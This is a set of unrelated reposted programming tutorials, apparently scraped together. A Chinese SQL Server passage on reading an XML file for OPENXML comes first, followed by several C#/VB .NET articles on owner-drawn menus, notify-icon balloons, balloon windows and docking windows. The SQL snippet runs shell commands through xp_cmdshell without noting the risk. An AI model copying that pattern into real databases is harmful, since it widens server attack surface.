[WITH (SchemaDeclaration | TableName)]


注意:在本文中没有足够的文字来描述OPENXML所接收的参数。请参阅BOL以获取更多信息。在Transact-SQL Reference中查找OPENXML。


现在我们已经到达了最后的步骤。所有剩下的工作就是导入一个实际的XML文件到SQL并进行处理(很奇快为什么所有的BOL示例都没有涉及到这一关键的部分)。


(我必须感谢我的同事Billy Pang所给予的帮助。他帮助我解决这个问题,并给出了代码——尽管出于本文需要我对代码进行了裁减。谢谢Billy!)


基本的技巧是,将文件逐行按文本读取。然后把所有读取的行连接为一个大的VARCHAR变量。最后,将变量传递给前面所说的代码。


以下就是读取文件并将其内容存放到某变量的代码:


DECLARE @FileName varchar(255)


DECLARE @ExecCmd VARCHAR(255)


DECLARE @y INT


DECLARE @x INT


DECLARE @FileContents VARCHAR(8000)


CREATE TABLE #tempXML(PK INT NOT NULL IDENTITY(1,1), ThisLine VARCHAR(255))


SET @FileName = 'C:\Temp\CurrentSettings.xml'


SET @ExecCmd = 'type ' + @FileName


SET @FileContents = ''


INSERT INTO #tempXML EXEC master.dbo.xp_cmdshell @ExecCmd


SELECT @y = count(*) from #tempXML


SET @x = 0


WHILE @x <> @y


    BEGIN


        SET @x = @x + 1


        SELECT @FileContents = @FileContents + ThisLine from #tempXML WHERE PK


 = @x


    END


SELECT @FileContents as FileContents


DROP TABLE #tempXML


现在在变量@FileContents变量中你已经获得了文件的全部内容。所需要做的只是将变量通过@xmltext参数传递给sp_xml_preparedocument,然后再调用OPENXML。


有了这种解决办法,对XML文档进行各种处理就成为了可能。你可以将XML文档同SQL表格连接在一起而无需导入数据,然后对这些数据进行INSERT、PDATE和DELETE等任何操作。

Introduction


Whilst waiting for Visual Studio 2005 to come along together with rather more comprehensive support for decent menus, I decided that I wanted to add full colour and image support to my own menus. Obviously I could write a component using IExtenderProvider to intercept the measuring and painting of menu items, but I also wanted to be able to paint the menu bar, and to provide a structure which would allow me to use different menu painters for different circumstances.


Using the code


I decided that the support for painting the menu items and menu bar should be implemented via an interface, so that anyone could write their own component to implement the interface. This makes it very easy to add your own custom menu painter. The interface looks like this:

/// <summary>
/// Interface used by MenuEx to allow attachment of menu painters.
/// </summary>
public interface IMenuPainter {
/// <summary>
/// Paints the menu bar
/// </summary>
/// <param name="g">A Graphics object on which to paint.</param>
/// <param name="r">The bounding Rectangle for the paint operation.</param>
/// <remarks>This method will only be called
/// when both these items are non- null.</remarks>
void PaintBar(Graphics g, Rectangle r);

/// <summary>
/// Paints a MenuItem
/// </summary>
/// <param name="item">The MenuItem to paint.</param>
/// <param name="e">A DrawItemEventArgs object
/// providing data for the paint action.</param>
/// <param name="image">An Image associated
/// with the MenuItem. Note that this may be null.</param>
/// <param name="imageSize">A MenuImageSize associated with the MenuItem.
/// This indicates the desired size of the image.</param>
void PaintItem(MenuItem item, DrawItemEventArgs e, Image image,
MenuImageSize imageSize);

/// <summary>
/// Measures a MenuItem object prior to painting it.
/// </summary>
/// <param name="item">The MenuItem to measure.</param>
/// <param name="e">A MeasureItemEventArgs object
/// providing data for the measure action.</param>
/// <param name="imageSize">A MenuImageSize associated with the MenuItem.
/// This indicates the desired size of the image.</param>
void MeasureItem(MenuItem item, MeasureItemEventArgs e, MenuImageSize imageSize);
}


The main MenuEx component exposes two properties: ImageList and MenuPainter. The former allows you to select the ImageList which will provide the images for the menus, the latter allows you to attach an object which implements the IMenuPainter interface in order to handle the drawing of menus. The MenuEx component also adds an ImageIndex property to each MenuItem on the form so that you can specify the image to be associated with each MenuItem. At run-time, it intercepts the MeasureItem and DrawItem events for each MenuItem and passes on the relevant information to the attached IMenuPainter implementation in order to allow owner-drawing of the menu items.


In addition, the MenuEx component intercepts the FormResize event for the form in order to implement painting support for the Menu Bar. I tried a number of ways to implement this, but settled on using the following method when painting the Menu Bar background:

/// <summary>
/// Creates a Pattern Brush from the internal barBitmap object,
/// and notifies Windows that this is to be used
/// for painting the Menu Bar
/// </summary>
private void SetBrush() {
BarBrush = SafeNativeMethods.CreatePatternBrush(barBitmap.GetHbitmap());

MENUINFO mi = new MENUINFO(form);
mi.fMask = MIM_BACKGROUND;
mi.hbrBack = BarBrush;
SafeNativeMethods.SetMenuInfo(mainMenu.Handle, ref mi);
SafeNativeMethods.SendMessage(form.Handle, WM_NCPAINT, 0, 0);
}


The relevant Windows API struct and method is shown below:

internal struct MENUINFO {
internal int cbSize;
internal int fMask;
internal int dwStyle;
internal int cyMax;
internal IntPtr hbrBack;
internal int dwContextHelpID;
internal int dwMenuData;
internal MENUINFO(Control owner) {
cbSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(MENUINFO));
fMask = 0;
dwStyle = 0;
cyMax = 0;
hbrBack = IntPtr.Zero;
dwContextHelpID = 0;
dwMenuData = 0;
}
}

[DllImport("user32.dll")]
internal static extern int SetMenuInfo(IntPtr hmenu, ref MENUINFO mi);


This method allows the MenuEx component to create a bitmap matching the size of the Menu Bar area, allows the IMenuPainter implementation to paint it, and then register it as a PatternBrush with the Windows API SetMenuInfo method. Effectively this provides user control over painting of the menu bar; there are limitations with this method, however - see Points of Interest below.


With the work complete on MenuEx, I decided to write a few sample IMenuPainter implementations, each written as a Component. I've chosen to make them inherit from the same ancestor: BaseMenuPainter, but you don't have to use it unless you want to. A series of virtual methods allows inherited components to override painting or measuring of particular menu attributes as required. The components are:





















BaseMenuPainter Base implementation of IMenuPainter
Office2003MenuPainter Inherits from BaseMenuPainter and paints in the style of Office 2003
VisualStudioMenuPainter Inherits from BaseMenuPainter and paints in the style of Visual Studio 2003
PlainMenuPainter Inherits from BaseMenuPainter and paints in a simple style
SkinMenuPainter Inherits from BaseMenuPainter and paints using one of a number of "Skins"
ImageMenuPainter Inherits from BaseMenuPainter and paints using a background image for menu items.

Using the Components


Using the components is very simple:



  • Firstly ensure you have built the libraries and added all items from the "ControlVault.MenuSuite.dll" assembly to your toolbox.
  • Add a MainMenu component to your form and define your menu items in the normal way.
  • Add an ImageList and select the images you need for your menu items.
  • Add a MenuEx component to your form, and set the ImageList property to the image list added in the previous step.
  • Add one of the MenuPainter components to your form.
  • Set the MenuPainter property of the MenuEx component to the MenuPainter you added to the form.
  • Go through each MenuItem in your form, setting the ImageIndex property as appropriate.

That's it! If you run your project, you will find the menu bar and items are drawn using the selected MenuPainter. Now you could try writing your own implementation of IMenuPainter.


Points of Interest


I encountered a couple of problems along the way:



  • The "arrow" used when painting a menu item containing sub-items seems to be painted by Windows whether you like it or not. I decided not to interfere! Suggestions for handling this would be welcomed.
  • Whilst the documentation for CreatePatternBrush indicates that in Windows XP you can use any size bitmap you like, I've encountered some strange painting behaviour. Some images work better than others. Again, any suggestions for improving image support are encouraged and welcomed.

History



  • 30 June 2005 - initial article submitted.
  • 11 July 2005 - updated code to improve painting of text. Changed the GetTextColor method to pass the DrawItemState in order to allow BaseMenuPainter descendant classes to determine the state before drawing the text.
  • 11 July 2005 - Corrected a bug in ImageMenuPainter where the background of the MenuItem objects was being painted with DrawImage rather than by using a TextureBrush.

Acknowledgements


Some of the ground covered in this article has inevitably been trodden before. Whilst all the code here is my own, the following article proved illuminating:



Thanks also to innumerable Usenet contributors who gave me ideas!


About Jonathan Lynas







I've been programming since 1987, in recent years using Delphi versions 1 to 7 and now C#.

I'm particularly interested in the development of visual controls and components, and developing applications for the PC and Pocket PC

More components and controls can be found at the ControlVault Website

Click here to view Jonathan Lynas's online profile.


源文件:user1/1/upload/20058169452.zip


http://www.codeproject.com/cs/menu/MenuEx.asp

Introduction


I recently wrote a Visual Source Safe sniper application. The purpose of this program is to wait patiently in the background for selected Visual Source Safe files to be checked in by fellow programmers. When the files become checked in the sniper checks these file out and notifies the user. This seemed like a perfect job for a notification icon. I was dismayed however to find out that the .NET class library's NotifyIcon class does not support balloon tips which are currently provided by the newer version of the common control library. This led to my CodeProject article 'Displaying a Notify Icon's Balloon Tool Tip'. However this approach was a hack at best and did not allow the application to receive notification when the balloon tip was clicked. So I decided to bite the bullet and write my own NotifyIcon class which would give me the ability to do everything I wanted.


Functionality


I have kept the functionality of this class to the minimum of what I think is useful. For example I do not handle mouse move messages over the notification icon as I can't think of any good use for these messages. However adding this functionality is quite easy.


List of Features



  • Fires the events 'Click', 'Double Click', 'Click Balloon'
  • Declares properties 'Visible', 'Icon', 'Text', 'Context Menu'
  • Removes icon from notification area when garbage collected (there you go Nish)
  • Re-adds icon if explorer restarts
  • Provides the method ShowBalloon(string title, string text, int timeout)

How It Works


My class uses a similar approach to the .NET class in that it creates a hidden window to receive messages from the notify icon. These messages are then forwarded to the main class NotifyIconEx where they are filtered according to the notification icon's numeric ID. My class can be used to add multiple notify icons and all messages are handled by the one hidden window. At this point I must admit that I used the 'Anakrino' decompiler to take a peek at some of the code used to implement .NET's NotifyIcon class. I mainly used this to figure out how to display the context menu at the correct location and how to make sure that when you click outside of the menu it closes for you.


Platform invoke methods are used quite extensively in this class which is unfortunate but necessary. Hopefully as .NET matures the class library will expand to allow more advanced manipulations of windows and system functions but until then it's either scrap the cool feature or fall back to the Win32 API.


Problems Encountered


I must admit that the documentation concerning the balloon tip does not seem to match the behaviour. The timeout value does not seem to work. I could not get the correct windows message when the balloon is closed by the 'x' button. I get the 'timeout' message whether the balloon times out or it is closed by the user. Let me know if I have done anything wrong in regards to these issues or if anybody gets different results than I did on my XP machine.


Watch Out


I must warn you that if you use my NotifyIconEx class at the same time as NotifyIcon strange things may happen. See if you can figure out why.


Sign Off


I think you will find that my class is as simple to use is that supplied by .NET, if not simpler (you do not have to explicitly remove my icon when your application exits). You should be able to add the class to the toolbox and drag and drop it using the form designer as you can with the built in class.


About Joel Matthias








Joel is married to MFC/C++ but enjoys a little C# on the side because it's young and sexy.

Click here to view Joel Matthias's online profile.


 


源文件:user1/1/upload/20058159636.rar


http://www.codeproject.com/cs/miscctrl/notifyiconex.asp

Balloon Windows for .NET

Introduction


This is a .NET version of Joshua Heyer's Balloon Help. Intially, I started with building a .NET wrapper on Josh's C++ code but soon I realized that there are advantages of rewriting everything from scratch in C#. The primary advantage was designer support - the windows form designer actually shows the balloon shape in the window (as seen in the screen shot below).



In your project you can, either:-



  1. Use a form inherted from BalloonWindow. This is useful if you want to add your own controls to the balloon window.
  2. Use BalloonHelp class. This provides a balloon with a caption, content, icon and a close button. This is functionally similar to Josh's original balloon help

Using BalloonWindow Class


If you want to create your own balloon shaped windows, you can inherit from this class. In VS.NET you can do it by adding and Inherited Form item to the project as shown below:-



Next, select BalloonWindow as the base class for your form, in the Inheritance picker dialog shown by VS.NET.



This will bring up a balloon shaped form in the designer and now you can design the form as any other form. The windows form designer actually shows the balloon window. This is something which was never available in any designer - either the resource dialog editor of VC6 or the VB6 forms designer.


The only important property in BalloonWindow class is the AnchorPoint property. This is where the tail of the balloon is anchored to. This point is always in screen coordinates. This property can be set either at the design time or at runtime before or after the balloon is displayed. Setting this property after the balloon is displayed automatically moves the balloon window to a new anchor point. The following code snippet shows to anchor the balloon to point (100, 100):-

//My balloon form is a class derived from BallonnWindow
MyBalloonForm form = new MyBalloonForm();

form.AnchorPoint = new Point(100, 100);
form.Show();


A static method AnchorPointFromControl is provided that calculates the screen coordinates of the center point of a control. The BalloonWindow class also provides a a ShowBalloon method that uses AnchorPointFromControl internally to display the balloon anchored to a control. Example:-

MyBalloonForm form = new MyBalloonForm(); 
form.ShowBalloon(textbox1); //Balloon will be anchored to textbox1

Using the BalloonHelp Class


The BalloonHelp class provides functionality of Josh's original C++ balloon help class. This class has following additional properties:-



  1. Caption: string
    This specifies the text of the balloon caption. This is same as the Text property of base class System.Windows.Forms.Control.
  2. CaptionFont: System.Drawing.Font
    Specifies the font of the balloon caption. If this is not specified a bold variety of the Font property is used.
  3. Content: string
    Specifies the text of the balloon contents.
  4. Font: System.Drawing.Font
    The Font property is inherited from System.Windows.Forms.Control. It specifes the font to be used for drawing the contents.
  5. ShowCloseButton: bool
    Indicates whether or not to show a close button on the top right corner of the balloon. The deafult value is false.
  6. CloseOnDeactivate: bool
    If this property is set to true the balloon window will close when the user switches to a different application. The deafult value is true.
  7. CloseOnMouseMove: bool
    If this property is set to true the balloon window will close when the mouse is moved. The deafult value is false.
  8. CloseOnMouseClick: bool
    If this property is set to true the balloon window will close when any mouse button is clicked. The deafult value is true.
  9. CloseOnKeyPress: bool
    If property is set to true the balloon window will close when a key is pressed on the keyboard. The deafult value is true.
  10. EnableTimeout: bool
    Sometimes, it may be required that the balloon close itself after a particular interval. It will happen if this property is set to true. The deafult value is false.
  11. Timeout: int
    This specifies the interval in milliseconds after which the balloon will close itself. The deafult value is 5000.
  12. Icon: System.Drawing.Icon
    This property which inherited from System.Windows.Forms.Form specifies the icon to use on the top left corner of the balloon.

Here is some sample code that displays the BalloonHelp window.

BalloonHelp baloonHelp = new BalloonHelp();
balloonHelp.ShowCloseButton = true;
balloonHelp.Caption = "Sample Caption";
balloonHelp.Content = "A multiline\r\ncontent";
balloonHelp.CloseOnMouseClick = false;

balloonHelp.ShowBallon(textbox1);

Conclusion


There are lot of enchancements that could be done. I plan to add some of the following stuff:-



  1. BallonErrorProvider component - something similar to the standard ErrorProvider component in .NET.
  2. BalloonHelpProvider component -something similar to the standard HelpProvider component in .NET.
  3. There are ceratin optimzations that can be done to the rendering code.
  4. The balloon flickers a lot during resize in the designer. This needs to be fixed.

Finally, thanks to Joshua Heyer for his C++ code which laid the foundation for the code in this article.


Rama Krishna Vavilala









Click here to view Rama Krishna Vavilala's online profile.


源文件:user1/1/upload/20058153525.rar


http://www.codeproject.com/cs/miscctrl/balloonnet.asp

Magic Docking - VS.NET Style

What are Docking Windows?

One of the first things you notice when using Visual Studio .NET is the clever docking windows implementation. This allows the user to reposition various tool windows such as the Solution Explorer and Properties to dock against different application edges. You can even make them float or become tabbed within the same docking window.

The Magic Library provides an implementation that mimics this clever behaviour and allows you to quickly and easily add the same feature to your own applications.


Downloads

The first download Docking Sample contains a example application that uses the docking windows implementation from the Magic Library. This allows you to experiment and test out the feature. The actual source code is inside the separate second download. At nearly 1MB in size, I thought people would prefer to download the sample before deciding if they want to install the entire source code project!

How do I add docking windows to my own application?

First you need to create an instance of the DockingManager class to be and associate it with each ContainerControl derived object you want to have a docking capability. Most of the time this will be your applications top-level application Form.

As well as a ContainerControl reference the constructor takes a parameter indicating the visual style required. Currently two display styles are supported, VisualStyle.IDE for the Visual Studio .NET appearance and VisualStyle.Plain for the older Visual C++ Version 6 appearance.

The following code shows how to add docking support to a Form

   
using Crownwood.Magic.Common;
using Crownwood.Magic.Docking;

public class MyForm : Form
{
protected Crownwood.Magic.Docking.
DockingManager _dockingManager = null;

public MyForm()
{
InitializeComponent();

// Create the object that manages the
// docking state
_dockingManager = new DockingManager(
this, VisualStyle.IDE);
}
}

Now we need to provide the docking manager with descriptions of each dockable unit. This is the purpose of the Content class. Each Content object creates an association between a title, image and Control derived object. You should read the full documentation of this important class which can be found in the full download.

The following code shows how to create a Content instance and add it to the docking manager inside the form constructor. It creates a RichTextBox control that will act as a dockable notepad for use by the user.

public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

Content notePad =new Content(_dockingManager);

notePad.Title = "Notepad";
notePad.Control = new RichTextBox();
notePad.ImageList = _internalImages;
notePad.ImageIndex = _imageIndex;

_dockingManager.Contents.Add(notePad);
}

As this is such a common operation the process has been streamlined. There are several overrides of the Contents.Add method that will create the required Content instance for you during the Add process. Here is the recommended approach.

public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

// This will create and add a new Content
// object all in one operation
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad",
_internalImages, _imageIndex);
}


Showing and Hiding Contents

Just adding a Content instance will not make it visible to the user. We want our application to make this instance visible immediately, so we use the ShowContent method as shown below: -
public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

_dockingManager.Contents.Add(new RichTextBox(),
"Notepad",
_internalImages,
_imageIndex);

// Make the content with title 'Notepad'
// visible
_dockingManager.ShowContent(
_dockingManager.Contents["Notepad"]);
}

This shows how to find a reference to a Content object by using the string indexer of the Contents collection. In this particular case it is a little inefficient as we could have stored the Content reference that is returned from the call to Contents.Add. Here is a more efficient example: -
public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

Content notePad = _dockingManager.
Contents.Add(new RichTextBox(),
"Notepad", _internalImages,
_imageIndex);

_dockingManager.ShowContent(notePad);
}

At some point in the future you may want to hide this instance again in which case you can use the HideContent method. To make all the Content instances visible or invisible use the ShowAllContent and HideAllContent methods respectively.

Accurate Creation

Three lines of code and we have a docking window made visible to the user which can be redocked and resized. However, at no point so far have we specified exactly where the new Content gets shown. The docking position for a Content made visible is the saved position from when it was last hidden. In our case the instance has never been hidden because it has just been created.

The constructor for the Content will default the saved docking position to be the left edge. Therefore our last example above will display the content inside a docking window which is docked against the left edge of the application Form. The value of the Content.DisplaySize will be used to decide how wide the docking window should be, this defaults to 150, 150.

If you want to dock against a different edge or even begin in the floating state then you need to do a little more work. The following code shows the use of the AddContentWithState method to show the content with a defined initial state: -

public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

Content notePad =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad",
_internalImages, _imageIndex);

// Request new Docking window be created and
// displayed on the right edge
_dockingManager.AddContentWithState(notePad,
State.DockRight);
}


Create in same window

Using the above method allows a docking window to be made visible and its position defined. But it does have the drawback that it will always create a new docking window to host the Content instance. What if we want two or more Content objects to be hosted inside the same docking window? To achieve this we need to bring another method called AddContentToWindowContent into use.

Each content is always hosted inside a WindowContent derived object. We can remember the reference of the newly created WindowContent object and reuse it as the destination for other Content instances. The following example creates notePad instances that are placed inside the same docking window, when this happens the docking window will adopt a tabbed appearance: -

public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

Content notePad1 =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad1",
_internalImages, _imageIndex);

Content notePad2 =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad2",
_internalImages, _imageIndex);

WindowContent wc =
_dockingManager.AddContentWithState(
notePad1, State.DockRight)
as WindowContent;

// Add the second notePad2 to the same
// WindowContent
_dockingManager.AddContentToWindowContent(
notePad2, wc);
}


Create in same Column/Row

There is only one more ability we need to add so that any docking configuration can be constructed at start-up. We need the ability to place docking windows in the same column or row. To do this we have to understand more about the actual structure of objects maintained by the docking code.

Docking is supported by providing three levels of object. Each Content object exists inside a Window derived object which itself exists inside a Zone derived object. The WindowContent class is a specialization of the Window base class that has special knowledge about how to handle Content objects. It is easiest to explain by providing some examples.

The AddContentWithState method creates a new WindowContent instance and adds to it the provided Content parameter. Next a Zone is created and the WindowContent instance placed inside it. The Zone is then added to the hosting Form and positioned according to the State parameter.

The AddContentToWindowContent adds the provided Content parameter to the existing WindowContent instance.

The AddContentToZone method creates a new WindowContent instance and adds to it the provided Content parameter. It then adds the new WindowContent to the provided Zone in the correct relative position.

The following example shows how to create three notePad objects, where the first two are added to the same WindowContent causing a tabbed appearance to occur. The final notePad is created in its own WindowContent and then added to the same Zone. The position value of 0 will make the second WindowContent be positioned first in the Zone.

public MyForm()
{
InitializeComponent();

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

Content notePad1 =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad1",
_internalImages, _imageIndex);

Content notePad2 =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad2",
_internalImages, _imageIndex);

Content notePad3 =
_dockingManager.Contents.Add(
new RichTextBox(), "Notepad3",
_internalImages, _imageIndex);

WindowContent wc =
_dockingManager.AddContentWithState(
notePad1, State.DockRight)
as WindowContent;

_dockingManager.AddContentToWindowContent(
notePad2, wc);

// Add a new WindowContent to the existing
// Zone already created
_dockingManager.AddContentToZone(notePad3,
wc.ParentZone, 0);
}

You can use the Content.ParentWindowContent property to discover which WindowContent a Content instance is currently placed inside. Likewise, the WindowContent.ParentZone property indicates the Zone a WindowContent instance is inside. Using these and the above-described methods should allow any start up configuration to be constructed. Note that the Content.ParentWindowContent property returns null if the Content is not currently visible.

Control where docking can occur

If you use the SampleDocking application you will notice that you cannot redock a docking window between a Form edge and either the MenuControl or StatusBar controls. In order to achieve this effect we need to define a couple of the docking manager properties.

The OuterControl property needs to be set to the first control in the Forms.Control collection that represents the group of controls that the manager must not dock between. Remember that the order of controls in the Form.Control collection determines the sizing and positioning of them. So the last control in the collection is the one that is positioned and sized first, the second to last control will be positioned and sized in the space that remains.

As the MenuControl is the most important and needs to be positioned first it will be last in the collection. The StatusBar is the next most important and so is second to last in the collection. In this scenario the OuterControl would be set to a reference of the StatusBar control. This will prevent the docking manager from reordering any window after the StatusBar in the collection. If the StatusBar was last in the list and the MenuControl second to last then the OuterControl would need to reference the MenuControl instead.

The InnerControl property needs to be set to the last control in the Forms.Control collection that represents the group of controls that the manager must not dock after. This might seem odd, as there is unlikely to be a docked window you would not want the docking windows to be placed inside of. However there is a situation where this becomes important.

If you have a control that is defined as having the Dock property of DockStyle.Fill then this control must always occur in the Form.Control collection before any docking windows. Otherwise you can get the situation where the control with the DockStyle.Fill value is not sized according to the actual space left over when all docking windows have been placed. Because this control is further up the list of controls it calculates its size without taking into account any docking windows that occur earlier in the collection.

The following shows a MenuControl, StatusBar and a RichTextBox being created and added to the Form.Control collection. It then sets the correct InnerControl and OuterControl values to generate the expected runtime operation.

public MyFormConstructor()
{
// This block would normally occur inside
// a call to:-
// InitializeComponent();
{
RichTextBox filler = new RichTextBox();
filler.Dock = DockStyle.Fill;
Controls.Add(filler);

StatusBar status = new StatusBar();
status.Dock = DockStyle.Bottom;
Controls.Add(status);

MenuControl menu = new MenuControl();
menu.Dock = DockStyle.Top;
Controls.Add(menu);
}

_dockingManager = new DockingManager(this,
VisualStyle.IDE);

_dockingManager.InnerControl = filler;
_dockingManager.OuterControl = status;

// Now create and setup my Content objects
...
}


Persistence

Many applications need to be able to remember several different docking configurations of the Content objects and be able to switch between them at runtime. You might also want to save the configuration when the application is shutdown so that it can be restored at start-up. The code to save and load configurations is as follows:-
// Save the current configuration to a named file
_dockingManager.SaveConfigToFile(
"MyFileName.xml");

...

// Load a saved configuration and apply
// immediately
_dockingManager.LoadConfigFromFile(
"MyFileName.xml");

There are a couple of issues to remember though. The saving process does not save the actual Content objects but just the state information it needs in order to restore that Content to the same docking size/position later. So the Content object must already exist and be part of the docking manager when the load operation takes place because loading will not recreate those objects.

The second point is that the save and load use the Title property of the Content to identify the information. If you change the Title of a Content object between saving and loading then the latter process will fail to associate the saved information to the object. This will not cause an exception but that Content will not be updated with the required configuration.

If you need to save the configuration information into a database or simply save it internally then you do not have to save into a file. There are matching methods for saving and loading into byte arrays which are easy to store within your application or to a database. For even greater control use the methods that take a stream object instance, in which case you must create and provide the stream object instance, but this gives the developer complete control over the storage medium.

Some developers might find it useful to save and load some additional custom details inside the configuration data. This prevents the need for two sets of saved data which then need to be maintained in parallel. The SaveCustomConfig event is generated when all the docking information has been written and allows you to add additional information at the end.

On loading the LoadCustomConfig is event is generated so that the corresponding information can be read back in again. The following sample code shows a trivial example of this:-

public void InitialiseComponent()   
{
...

// Setup custom config handling at appropriate
// place in code
_manager.SaveCustomConfig +=
new DockingManager.SaveCustomConfigHandler
(OnSaveConfig);

_manager.LoadCustomConfig +=
new DockingManager.LoadCustomConfigHandler
(OnLoadConfig);
}

protected void OnSaveConfig(XmlTextWriter xmlOut)
{
// Add an extra node into the config to store
// some example information
xmlOut.WriteStartElement("MyCustomElement");
xmlOut.WriteAttributeString("ExampleData1",
"Hello");
xmlOut.WriteAttributeString("ExampleData2",
"World!");
xmlOut.WriteEndElement();
}

protected void OnLoadConfig(XmlTextReader xmlIn)
{
// We are expecting our custom element to be
// the current one
if (xmlIn.Name == "MyCustomElement")
{
// Read in both the expected attributes
string attr1 = xmlIn.GetAttribute(0);
string attr2 = xmlIn.GetAttribute(1);

// Must move past our element
xmlIn.Read();
}
}


Known problems

One of nice features of the docking windows is the ability to take a Form derived class and use it as the content of a docking window. You need to be careful though, as sometimes a Form you generate will have the AutoScaleBaseSize property define. This can cause the Form instance to be sized incorrectly when it is shown for the first time. If someone comes up with an answer to this problem then please let me know!

A second problem is the use of the RichTextBox. If you use this as the content for the docking window and then move the docking window to a different edge it will sometimes cause the control to be recreated. In this case it loses any coloring information. So your blue/red text inside the RichTextBox suddenly becomes the default black. Again, if anyway knows how to fix this issue then please let me know.


Revision History


20 Sept 2002 - Initial revision


About Phil Wright







I am a big fan of .NET and have been working on developing a free user interface library to enhance the very basic controls that come out-of-the-box. Download the free source code project from http://www.dotnetmagic.com. I often carry out bespoke development work for companies, so feel free to email me for a quote on your .NET needs!



Click here to view Phil Wright's online profile.

源文件:user1/1/upload/20058154393.zip


http://www.codeproject.com/cs/miscctrl/magicdocking.asp

Introduction


Oh no!!!!! Is this yet another component, one of the literally dozens that are out there, that claims to provide VS.NET style menus? Well, yes, but please don't go away just yet, for I would like to quickly present you with some facts about this component that perhaps may lead you to think about trying it out.


First and foremost, this component provides a menu style that is 90% identical to the one provided by VS.NET (the 10% gap is described below in the "Work pending" section, please help me eliminate it). This means that it applies the VS.NET menu style to not only individual menu items but also to the client application's menu system as a whole. Specifically, the windows on which menu items are displayed are formatted in such a way that they look almost identical to the ones VS.NET uses to host its menu items. There are other free .NET components out there that do this as well, although very few in number. However, none of the ones I've come across, and boy have I come across many, address ALL the points that follow.


Second, the VSNetMenuProvider component will provide your applications with VS.NET style menus on any platform the .NET runtime supports, that is, on any OS above and including W98, with one minor (or perhaps major in your view) exception I will discuss below in the "Work pending" section (please help me resolve it). The list includes flat borders and shadows, something other components I've looked at fail to provide as soon as they are run on systems other than WXP, and some do not work on WXP with themes enabled. Obviously, if your application only runs on WXP, then it does not matter at all whether the component works on other systems. In my case, however, W98 compatibility was not an option but rather a must. Therefore, for those of you who want VS.NET style menus that work on any .NET compliant OS without having to write more than two lines of code or purchase a huge and often times slow third party control, then perhaps you may want to give this component a try.


Third, the VSNetMenuProvider component, as its name implies, is implemented as an IExtenderProvider component. I will briefly discuss what this means, for those of you who do not already know, in the section below titled "Using VSNetMenuProvider". For now, however, be assured that in order to get full VS.NET style menus in your applications, only two lines of code are required, one when your application begins and another when it ends. Furthermore, if you don't care about flat menu borders, shadows, etc..., and only that the individual menu items are drawn with VS.NET menu styles applied, then these two lines of code are not necessary, although if this is the case, then there's really no difference between this component and the many others that are out there.


Fourth and in relation to the first point mentioned, although of less importance, this component mimics the not so obvious features of VS.NET menus, something other components do not do. This is a special treat for those of you, like me, who just adore the VS.NET menu style and want it in its entirety. For example, open the VS.NET IDE, click on any top level menu item on the menu bar, hit the escape key, and notice that the selected menu is displayed in a highlighted state as soon as the window hosting its sub menus disappears. Or, as another example, open the VS.NET IDE, position the main window so that the top level File menu is partially or completely hidden, click on the File menu either with the mouse or via its hotkey, and notice that the window hosting its sub menus paints its borders taking into account the visibility of the parent File menu item. Well, the VSNetMenuProvider component does all of this and more in order to make your menus look almost exactly like the ones VS.NET has.


Fifth, final, and of very, very low importance, the VSNetMenuProvider component is written in VB, not C#, as opposed to almost all of the other components out there. Below, in the section titled "Acknowledgements" I am going to give thanks to each and every individual whose code made this component a reality, the majority of which belong to derivatives of the C family (C#, C++).


Using VSNetMenuProvider


The VSNetMenuProvider component implements the IExtenderProvider interface, and as such extends the property list of other predetermined types. In this particular case the predetermined type is the MenuItem. Specifically, each MenuItem on a Form that has a VSNetMenuProvider member will be provided an ImageIndex property. The VSNetMenuProvider has an ImageList property, and if set, will be used as the source of the the ImageIndex property provided to each and every MenuItem.


In order to use the component, open up a Windows project that has at least one Form, which in turn should have at least one MainMenu or ContextMenu setup with menu items and at least one ImageList with images, and then do the following:



  1. Add a reference to the vbWindowsUI assembly, which hosts the VSNetMenuProvider component, and customize the Toolbox to include the controls exposed by the referenced assembly.
  2. Add a VSNetMenuProvider instance to a Form and set its ImageList property to any ImageList member of the Form.
  3. Select a MenuItem that will be assigned an image. The Properties Window will display an ImageIndex property for the selected MenuItem. Edit this property by selecting an image from the list of images displayed by the drop down editor or select the entry "(none)" to disassociate the selected MenuItem from any particular image.

    The following steps are required only if you want VS.NET menu styles (flat borders, shadows, etc...) applied to the form's menu system and not just to the individual menu items. There's a big difference!!!!!!!


  4. Add the following line of code in one, and only one, spot of the entire application right before any windows are displayed. Usually this spot will be in the Load event of your application's startup Form or in Sub Main.
    'shared (static) method of VSNetMenuProvider
    vbWindowsUI.VSNetMenuProvider.Hook(Me)

  5. Add the following line of code in one, and only one, spot of the entire application right before it ends. Usually this spot will be in the Closing event of the last Form displayed or in Sub Main.
    'shared (static) method of VSNetMenuProvider
    vbWindowsUI.VSNetMenuProvider.Unhook()

That's all you need to do in order to add complete VS.NET menu style support to your applications. Keep in mind that the above lines of code should be run at the application level, not at the Form level. That is, you should not call these methods for each and every Form your application displays, but rather one at the start (Hook) and one at the end (Unhook) of your application, regardless of how many forms with VS.NET style menus are displayed. Also, the VS.NET menu style is not applied at design time, only at runtime.


VSNetMenuProvider implementation


I'm not going to go into the implementation details of VSNetMenuProvider, for the code is there at your disposal. Suffice to say that the nuts and bolts of the functionality is done via owner drawn menus, hooks, and subclassing. If you have any questions, please let me know.


Final VSNetMenuProvider notes


No special handling is required for menu items that will not have an image displayed along side of them. As long as the form has a VSNetMenuProvider member, all of its menu items will be painted with VS.NET menu styles applied.


If you set to False the OwnerDrawn property of a menu item, it will not be painted with VS.NET styles applied, regardless of whether or not the parent form has a VSNetMenuProvider member.


